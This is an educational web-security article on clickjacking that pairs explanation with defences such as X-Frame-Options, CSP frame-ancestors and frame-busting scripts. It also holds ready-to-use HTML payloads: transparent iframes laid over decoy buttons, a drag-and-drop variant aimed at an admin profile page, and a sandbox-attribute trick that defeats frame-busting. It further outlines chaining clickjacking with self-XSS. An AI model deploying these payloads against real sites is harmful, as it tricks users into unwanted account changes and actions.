What is Clickjacking?

11 March 2024 6 minutes Author: Cyber Witcher

The article is about Clickjacking. It discusses what a clickjacking attack is, how it works, and what the consequences can be for users. A clickjacking attack consists in tricking the user into clicking on a web page element that is either invisible or disguised as another element.

Disclaimer: This article is intended for educational purposes. It describes how clickjacking works, to show how attackers can use this method, and to help readers understand how to protect themselves from such attacks.

What is clickjacking?

In a clickjacking attack, a user is tricked into clicking an element on a web page that is invisible or disguised as another element. This manipulation may lead to unwanted consequences for the user, such as downloading malware, redirecting to malicious web pages, providing credentials or confidential information, making money transfers, or purchasing products online.

Trick of pre-filling forms

Sometimes it is possible to fill in the values of form fields using GET parameters during page loading. An attacker can abuse this behavior to populate a form with arbitrary data and send a clickjacking payload to get the user to click the submit button.

Fill out the form using Drag&Drop

If you need the user to fill out a form , but you don’t want to directly ask them to type in certain information (like an email address and/or a specific password that you know), you can simply ask them to drag and drop something that your controlled data as in this example.

Main payload

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 700px;
       opacity: 0.1;
       z-index: 2;
   }
   div {
       position:absolute;
       top:470px;
       left:60px;
       z-index: 1;
   }
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/[email protected]"></iframe>

Multistage payload

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:330px;
       left:60px;
       z-index: 1;
   }
   .secondClick {
       left:210px;
   }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', '[email protected]')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

If you discover an XSS attack that requires the user to click on a certain element to trigger the XSS, and the page is vulnerable to clickjacking , you can use it to trick the user into clicking a button/link. example: You found your own XSS in some personal account details (details that only you can set and read). The page with the form to install these details is vulnerable to Clickjacking, so you can pre-populate the form with GET parameters. __An attacker could prepare a Clickjacking attack on this page by pre-filling the form with an XSS payload and tricking the user into submitting the form. So when the form is submitted and the value is changed, the user will execute XSS .

Click Mitigation Strategies

Client-side protection

Client-side scripts can take actions to prevent Clickjacking:

Make sure the application window is the main or top window.
Make all frames visible.
Preventing clicks on invisible frames.
Detecting and warning users about possible Clickjacking attempts.

However, these frame blocking scenarios can be bypassed:

Browser Security Settings: Some browsers may block these scripts due to security settings or lack of JavaScript support

HTML5 sandbox iframe attribute: An attacker can neutralize frame blocking scenarios by setting the sandbox attribute to allow-forms or allow-scripts without allow-top-navigation. This prevents the iframe from checking if it’s the top window, e.g.

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

The values allow-forms and allow-scripts allow actions to be performed in the iframe while disabling the top-level navigation. Depending on the type of attack, additional permissions such as allow-same-origin may be required to ensure proper functionality of the target site. allow-modals Browser console messages can specify which permissions to grant.

Server-side protection

X-Frame options

The X-Frame-Options header of HTTP responses informs browsers that it is legitimate to render the page in a <frame> or <iframe>, helping to prevent Clickjacking:

X-Frame-Options: deny- No domain can frame content.
X-Frame-Options: sameorigin- Only the current site can frame content.
X-Frame-Options: allow-from https://trusted.com – Only the specified ‘uri’ can frame the page.

Note the limitations: if the browser does not support this directive, it may not work. Some browsers prefer the CSP frame-ancestors directive.

Content Security Policy Framework (CSP) Framework Directive

frame-ancestors directive in CSP is the recommended method to protect against Clickjacking:

frame-ancestors ‘none’ – Similar to X-Frame-Options: deny.
frame-ancestors ‘self’- Similar to X-Frame-Options: sameorigin.
frame-ancestors trusted.com- Similar to X-Frame-Options: allow-from.

For example, the following CSP only allows framing from the same domain:

Content-Security-Policy: frame-ancestors 'self';

Content Security Policy (CSP) with `child-src`і`frame-src`

A Content Security Policy (CSP) is a security measure that helps prevent clickjacking and other code injection attacks by specifying from which sources a browser should allow content to be downloaded.

frame-src Directive

Defines valid sources for frames.
More specific than the default-src directive.

Content-Security-Policy: frame-src 'self' https://trusted-website.com;

This policy allows frames from one source (proprietary) and https://trusted-website.com.

child-src Directive

Introduced in CSP level 2 to establish valid sources for web workers and frames.
Acts as a fallback for frame-src and worker-src.

Content-Security-Policy: child-src 'self' https://trusted-website.com;

This policy allows frames and working elements from one source (proprietary) and https://trusted-website.com.

Notes on use:

Deprecated: child-src is being phased out in favor of frame-src and worker-src.
Fallback behavior: If frame-src is missing, child-src is used as a fallback for frames. If both are missing, default-src is used.
Strict source identification: Include only trusted sources in directives to prevent exploitation.

JavaScript scripts that break frames

Although not completely foolproof, JavaScript-based frame blocking scripts can be used to prevent a web page from being frame blocked. example:

if (top !== self) {
    top.location = self.location;
}

Use of Anti-CSRF tokens

Checking markers. Use anti-CSRF tokens in web applications to ensure that state change requests are made intentionally by the user and not through a Clickjacked page.